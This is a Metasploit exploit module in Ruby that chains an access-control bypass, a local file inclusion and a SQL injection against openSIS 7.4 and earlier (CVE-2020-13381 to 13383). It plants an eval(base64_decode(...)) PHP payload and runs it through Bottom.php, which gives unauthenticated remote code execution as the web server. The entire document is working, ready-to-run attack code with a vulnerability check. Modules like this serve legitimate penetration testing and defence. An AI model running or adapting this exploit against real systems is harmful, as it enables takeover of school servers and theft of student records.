openSIS 7.4 Unauthenticated PHP Code Execution Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'openSIS Unauthenticated PHP Code Execution',
      'Description'    => %q{
        This module exploits multiple vulnerabilities in openSIS 7.4 and prior versions
        which could be abused by unauthenticated attackers to execute arbitrary PHP code
        with the permissions of the webserver. The exploit chain abuses an incorrect access
        control issue which allows access to scripts which should require the user to be
        authenticated, and a Local File Inclusion to reach a SQL injection vulnerability which
        results in execution of arbitrary PHP code due to an unsafe use of the eval() function.
      },
      'Author'         => 'EgiX',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'http://karmainsecurity.com/KIS-2020-06'],
          ['URL', 'http://karmainsecurity.com/KIS-2020-07'],
          ['URL', 'http://karmainsecurity.com/KIS-2020-08'],
          ['CVE', '2020-13381'],
          ['CVE', '2020-13382'],
          ['CVE', '2020-13383']
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [ ['openSIS <= 7.4', {}] ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 30 2020'
      ))

      register_options(
        [
          OptString.new('TARGETURI', [true, "The base path to the web application", "/"])
        ])
  end

  def exec_php(php_code)
    print_status('Retrieving session cookie')

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path)
    })

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    session = res.get_cookies

    unless res.code == 200 && res.body && session =~ /PHPSESSID=([A-Za-z0-9]*);/
      fail_with(Failure::NoAccess, 'Failed to retrieve session cookie')
    end

    random_title = rand_text_alpha(10)
    random_param = rand_text_alpha(10)
    php_cod = "];eval(base64_decode($_POST[#{random_param}]));die;//\\"
    sql_enc = php_cod.each_byte.map{ |b| b.to_s(16) }.join
    sql_inj = "' UNION SELECT 0x#{sql_enc}#"

    print_status('Injecting malicious SQL into session variable')

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'CpSessionSet.php/index.php'),
      'cookie'    => session,
      'vars_post' => {'title' => random_title, 'course_id' => sql_inj}
    })

    unless res && res.code == 200 && res.body =~ /#{random_title}/
      fail_with(Failure::NoAccess, 'Failed to call CpSessionSet.php')
    end

    print_status("Calling ForExport.php to set $_SESSION['_REQUEST_vars']")

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'ForExport.php/index.php'),
      'cookie'    => session,
      'vars_post' => {
            'modname'     => 'scheduling/MassSchedule.php',
            'modfunc'     => 'save',
            'day_start'   => rand_text_numeric(1, bad='0'),
            'month_start' => rand_text_numeric(1, bad='0'),
            'year_start'  => rand_text_numeric(4, bad='0')
      }
    })

    unless res && res.code == 200 && res.body =~ /Error in User/
      fail_with(Failure::NoAccess, 'Failed to call ForExport.php')
    end

    print_status('Executing PHP code by calling Bottom.php')

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'Bottom.php/index.php'),
      'cookie'    => session,
      'vars_get'  => {'modname' => 'scheduling/MassSchedule.php', 'modfunc' => 'print'},
      'vars_post' => {random_param => Rex::Text.encode_base64(php_code)}
    }, 1)

    res
  end

  def check
    flag = rand_text_alpha(20..30)
    res  = exec_php("print '#{flag}';")

    if res && res.code == 200 && res.body =~ /#{flag}/
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    exec_php(payload.encoded)
  end
end